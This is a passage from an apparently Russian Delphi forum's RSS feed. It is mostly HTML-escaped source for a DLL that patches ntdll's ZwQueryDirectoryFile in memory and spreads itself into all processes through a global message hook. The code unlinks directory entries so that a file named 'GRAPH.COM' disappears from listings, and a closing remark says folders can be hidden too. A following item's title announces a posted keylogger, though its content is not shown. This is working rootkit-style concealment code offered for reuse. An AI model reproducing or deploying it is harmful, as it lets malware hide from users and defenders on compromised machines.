/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileFullDirectoryInfo := nil; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repeat &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileFullDirectoryInfo := FileFullDirectoryInfo; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileFullDirectoryInfo := pointer(dword(FileInformation&amp;#41; + Offset&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (FileFullDirectoryInfo^.FileNameLength &gt; 1&amp;#41; and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(cpmpwclen(FileFullDirectoryInfo^.FileName, &apos;GRAPH.COM&apos;,FileFullDirectoryInfo^.FileNameLength&amp;#41;&amp;#41;&amp;nbsp;&amp;nbsp;then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if FileFullDirectoryInfo^.NextEntryOffset = 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LastFileFullDirectoryInfo &lt;&gt; nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileFullDirectoryInfo^.NextEntryOffset := 0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else Result := STATUS_NO_SUCH_FILE &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LastFileFullDirectoryInfo &lt;&gt; nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileFullDirectoryInfo^.NextEntryOffset := LastFileFullDirectoryInfo^.NextEntryOffset + FileFullDirectoryInfo^.NextEntryOffset &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Offset := Offset + FileFullDirectoryInfo^.NextEntryOffset; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;until FileFullDirectoryInfo^.NextEntryOffset = 0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileBothDirectoryInformation: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileBothDirectoryInfo := nil; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repeat &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileBothDirectoryInfo := FileBothDirectoryInfo; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileBothDirectoryInfo := pointer(dword(FileInformation&amp;#41; + Offset&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (FileBothDirectoryInfo^.FileNameLength &gt; 1&amp;#41; and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(cpmpwclen(FileBothDirectoryInfo^.FileName, &apos;GRAPH.COM&apos;,FileBothDirectoryInfo^.FileNameLength&amp;#41;&amp;#41;&amp;nbsp;&amp;nbsp;then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if FileBothDirectoryInfo^.NextEntryOffset = 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LastFileBothDirectoryInfo &lt;&gt; nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileBothDirectoryInfo^.NextEntryOffset := 0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else Result := STATUS_NO_SUCH_FILE &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LastFileBothDirectoryInfo &lt;&gt; nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileBothDirectoryInfo^.NextEntryOffset := LastFileBothDirectoryInfo^.NextEntryOffset + FileBothDirectoryInfo^.NextEntryOffset &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Offset := Offset + FileBothDirectoryInfo^.NextEntryOffset; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;until FileBothDirectoryInfo^.NextEntryOffset = 0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileNamesInformation: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileNamesInfo := nil; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repeat &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileNamesInfo := FileNamesInfo; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileNamesInfo := pointer(dword(FileInformation&amp;#41; + Offset&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (FileNamesInfo^.FileNameLength &gt; 1&amp;#41; and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(cpmpwclen(FileNamesInfo^.FileName, &apos;GRAPH.COM&apos;,FileNamesInfo^.FileNameLength&amp;#41;&amp;#41;&amp;nbsp;&amp;nbsp;then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if FileNamesInfo^.NextEntryOffset = 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LastFileNamesInfo &lt;&gt; nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileNamesInfo^.NextEntryOffset := 0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else Result := STATUS_NO_SUCH_FILE &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if LastFileNamesInfo &lt;&gt; nil then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastFileNamesInfo^.NextEntryOffset := LastFileNamesInfo^.NextEntryOffset + FileNamesInfo^.NextEntryOffset &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Offset := Offset + FileNamesInfo^.NextEntryOffset; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;until FileNamesInfo^.NextEntryOffset = 0 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Procedure SetHook(&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Bytes: dword; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PtrZwq&amp;nbsp;&amp;nbsp;:= GetProcAddress(GetModuleHandle(&apos;ntdll.dll&apos;&amp;#41;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;ZwQueryDirectoryFile&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode&amp;#41;, Bytes&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JmpZwq.PuhsOp&amp;nbsp;&amp;nbsp;:= $68; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JmpZwq.PushArg := @NewZwQueryDirectoryFile; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JmpZwq.RetOp&amp;nbsp;&amp;nbsp;&amp;nbsp;:= $C3; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp&amp;#41;, Bytes&amp;#41; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Procedure Unhook(&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Bytes: DWORD; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode&amp;#41;, Bytes&amp;#41; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Function MessageProc(code : integer; wParam : word; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lParam : longint&amp;#41; : longint; stdcall; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CallNextHookEx(0, Code, wParam, lparam&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := 0 &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Procedure SetGlobalHookProc(&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sleep(INFINITE&amp;#41; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Procedure SetGlobalHook(&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hMutex: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TrId: dword; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hMutex := CreateMutex(nil, false, &apos;FileHideHook&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if GetLastError = 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId&amp;#41;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hMutex&amp;#41; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure DLLEntryPoint(dwReason: DWord&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case dwReason of &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DLL_PROCESS_ATTACH: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetGlobalHook(&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetHook(&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DLL_PROCESS_DETACH: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Unhook(&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DllProc := @DLLEntryPoint; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DLLEntryPoint(DLL_PROCESS_ATTACH&amp;#41; &lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;&lt;/span&gt;&lt;!--/BBhide--&gt; &lt;p&gt; Так можно скрывать и папочки ещё. &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>Neo</dc:creator>
<guid>https://delfcode.ru/forum/30-475-1</guid>
</item>
<item>
<title>Вылаживаю свой keylogger на Win Api</title>
<link>https://delfcode.ru/forum/30-573-1</link>
<pubDate>Thu, 27 Sep 2012 15:34:13 GMT</pubDate>
